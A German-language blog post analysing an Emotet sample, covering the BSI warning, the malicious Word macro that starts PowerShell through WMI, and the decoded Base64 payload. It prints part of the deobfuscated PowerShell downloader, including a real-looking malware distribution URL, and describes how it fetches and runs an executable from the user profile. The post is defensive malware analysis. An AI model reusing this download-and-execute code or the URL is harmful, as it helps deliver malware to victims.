Bech0r.net

From Geeks for Geeks

Gefälschte E-Mails im Namen von Freunden, Nachbarn oder Kollegen gefährden im Moment ganze Netzwerke: Emotet gilt als eine der größten Bedrohungen durch Schadsoftware weltweit und verursacht auch in Deutschland aktuell hohe Schäden.

Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat in den vergangenen Tagen eine auffällige Häufung an Meldungen erhalten, die im Zusammenhang mit Emotet stehen. Das Schadprogramm wird über Spam-Kampagnen verteilt und stellt eine akute Bedrohung für Unternehmen, Behörden und Privatanwender dar.

Emotet liest die Kontaktbeziehungen und E-Mail-Inhalte aus den Postfächern infizierter Systeme aus. Diese Informationen nutzen die Täter zur weiteren Verbreitung des Schadprogramms. Das funktioniert so: Empfänger erhalten E-Mails mit authentisch aussehenden, jedoch erfundenen Inhalten von Absendern, mit denen sie erst kürzlich in Kontakt standen. Aufgrund der korrekten Angabe der Namen und Mailadressen von Absender und Empfänger in Betreff, Anrede und Signatur wirken diese Nachrichten auf viele authentisch. Deswegen verleiten sie zum unbedachten Öffnen des schädlichen Dateianhangs oder der in der Nachricht enthaltenen URL.

Ist der Computer erst infiziert, lädt Emotet weitere Schadsoftware nach, wie zum Beispiel den Banking-Trojaner Trickbot. Diese Schadprogramme führen zu Datenabfluss oder ermöglichen den Kriminellen die vollständige Kontrolle über das System. In mehreren dem BSI bekannten Fällen hatte dies große Produktionsausfälle zur Folge, da ganze Unternehmensnetzwerke neu aufgebaut werden mussten. Für Privatanwender kann eine Infektion den Verlust von Daten, insbesondere wichtiger Zugangsdaten, bedeuten.

1. Struktur des Angriffs

Der Trojaner Emotet wird über mehrere Ebenen auf dem System zum Einsatz gebracht, wie man im folgenden Diagramm sehen kann.

In diesem Sample kommt Emotet über ein Word-Dokument mit schadhaften Macros (VBA) in das System. Wenn der Benutzer das Word-Dokument öffnet und die Macros aktiviert wird der Prozess der Infektion gestartet.

2. WORD UND DIE PÖSEN MACROS!

So sieht der VBA-Code im Word-Dokument aus

:

Man erkennt sofort das man eigentlich nichts erkennt, well played! Aber im Grunde ist dieser Code eigentlich sehr einfach gehalten. Er besteht zu weiten Teilen aus Trashcode und Variablen. Die Interessantesten Funktionen sind hier gut versteckt auf den ersten Blick.

Die Funktionen sind so aufgebaut das der Code über mehrere Funktion heraus zusammengesetzt wird.

Die Hauptfunktion des VBA Codes ist über die WMI (Windows Management Instrumentation) den Prozess powershell.exe mit einem Base64 verschlüsselten Argument zu starten. Dies sieht wie folgt aus:

3. P0W3R5H3LL - Payload

Wie man sieht sieht man wieder NICHTS! Bloß einen Powershell-Command der mit Base64 verschlüsselt wurde :/ Aber das ist schnell behoben. Einfach in in einen Decoder hauen (CharSet ist bei Powershell mit -e immer UTF-16LE). Schauen wir mal was dabei heraus kommt 🙂 !

WTF?! Muss das sein? Wieder ein versuch den Code unlesbar zu machen. Naja könnte aber auch schlimmer sein. Hier befinden sich eigentlich nur paar Trash-Variablen die nichts tun außer hässlich auszusehen. Im oberen Teil des Payloads sind noch ein paar “ ` “ Apostrophe und der Code ist in einem Mix aus LowerUpperCase-Mischmasch. Das sollte schnell gecleaned sein und wir können den Hauptpart der Infektion begutachten.

So das sieht doch schon mal was besser aus. Kommen wir direkt und ohne Umwege zur Funktion des PS-Payloads.

$umt_u4vy = ‚764‘;                                                            //Der Name der .EXE Datei
$c2tbwwou=$env:userprofile+’\’+$umt_z4vy+‘.exe‘;   //Das Downloadverzeichnis
$g0cqk8d=(’new-object‘)Net.WebClient;                       //Initialisierung des .NET-WebClients
$hmcfiey=http://urbandogscol.com/../..                     //Eine Liste mit URLs die mit @ gesplittet werden.

In der foreach-Schleife wird die Datei gesucht und heruntergeladen die eine Länge von 27965 Zeichen hat.
Wenn diese gefunden wurde, wird die Datei ausgeführt via Diagnostics.Process.Start($PathToFile).

Nun wurde Emotet erfolgreich auf dem System deployed und ausgeführt. So sad… 🙁

TEIL 2: Die internen Mechanismen von Emotet

(coming soon)

Geek - IT enthusiast - networks of the future - Erleben was verbindet
Dennis Becher
Author & Admin

Post Author: Dennis "Der Admin" Becher

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

Ich akzeptiere

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.